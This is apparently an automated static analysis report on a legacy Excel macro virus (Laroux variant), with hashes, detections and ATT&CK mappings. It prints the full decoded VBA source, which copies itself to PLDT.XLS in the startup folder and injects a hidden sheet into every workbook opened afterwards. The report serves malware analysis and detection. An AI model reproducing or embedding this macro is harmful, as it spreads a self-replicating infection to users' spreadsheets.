Xls.Trojan.Laroux-28 — Office (OLE) malware analysis

Static analysis result for SHA-256 fa4a8746d8f3957a…

MALICIOUS

Office (OLE)

66.5 KB Created: 1980-01-05 18:42:18 Authoring application: Microsoft Excel First seen: 2012-06-14
MD5: d061a7e47ffbb086cc33dbd13318ee00 SHA-1: 99a28b8088b5e5e939f25c9c7d60186fdc5ba2ee SHA-256: fa4a8746d8f3957aa60267c06d13c1af7f158850e1d5fbb2cdc3b485fd4b23e6
240 Risk Score

Malware Insights

Xls.Trojan.Laroux-28 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample is identified as a variant of the Laroux macro virus, specifically Xls.Trojan.Laroux-28. It contains an Auto_Open macro that, upon execution, attempts to save a copy of itself as 'PLDT.XLS' into the application's startup path, thereby establishing persistence. The macro also manipulates sheet visibility and re-enables itself.

Heuristics 4

  • ClamAV: Xls.Trojan.Laroux-28 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Trojan.Laroux-28
  • Excel 5 Laroux/Larou-CV macro-virus marker cluster critical OLE_XLS5_LAROUX_MACRO_VIRUS
    Legacy Excel workbook contains a Laroux/Larou-CV macro-virus marker cluster including auto_open execution and workbook/module replication strings. This is a narrow indicator for an infected legacy Excel macro workbook.
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1911 bytes
SHA-256: 9a3561acfe5919b69f333ccae47d0fff172a3025f5bd1c217895eff3cca2dda4
Detection
ClamAV: Xls.Trojan.Laroux-28
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "pldt"























Sub auto_open()
Attribute auto_open.VB_ProcData.VB_Invoke_Func = " \n14"
    application.OnSheetActivate = "check_files"
End Sub

Sub check_files()
Attribute check_files.VB_ProcData.VB_Invoke_Func = " \n14"
    c$ = application.StartupPath
    m$ = Dir(c$ & "\" & "PLDT.XLS")
    If m$ = "PLDT.XLS" Then p = 1 Else p = 0
    If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
    whichfile = p + w * 10
    
Select Case whichfile
    Case 10
    application.ScreenUpdating = False
    n4$ = ActiveWorkbook.Name
    Sheets("pldt").Visible = True
    Sheets("pldt").Select
  '  Sheets("pldt").Copy
  '  With ActiveWorkbook
  '      .Title = ""
  '      .Subject = ""
  '      .Author = ""
  '      .Keywords = ""
  '      .Comments = ""
  '  End With
    newname$ = ActiveWorkbook.Name
    c4$ = CurDir()
    ChDir application.StartupPath
    ActiveWindow.Visible = False
    Workbooks(newname$).SaveAs FileName:=application.StartupPath & "/" & "PLDT.XLS", FileFormat:=xlNormal _
        , password:="", WriteResPassword:="", ReadOnlyRecommended:= _
        False, CreateBackup:=False
    ChDir c4$
    Workbooks(n4$).Sheets("pldt").Visible = True
    application.OnSheetActivate = ""
    application.ScreenUpdating = True
    application.OnSheetActivate = "PLDT.XLS!check_files"
    Case 1
    application.ScreenUpdating = False
    n4$ = ActiveWorkbook.Name
    p4$ = ActiveWorkbook.path
    s$ = Workbooks(n4$).Sheets(1).Name
    If s$ <> "pldt" Then
        Workbooks("PLDT.XLS").Sheets("pldt").Copy before:=Workbooks(n4$).Sheets(1)
        Workbooks(n4$).Sheets("pldt").Visible = False
    Else
    End If
    application.OnSheetActivate = ""
    application.ScreenUpdating = True
    application.OnSheetActivate = "PLDT.XLS!check_files"
    Case Else
End Select
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.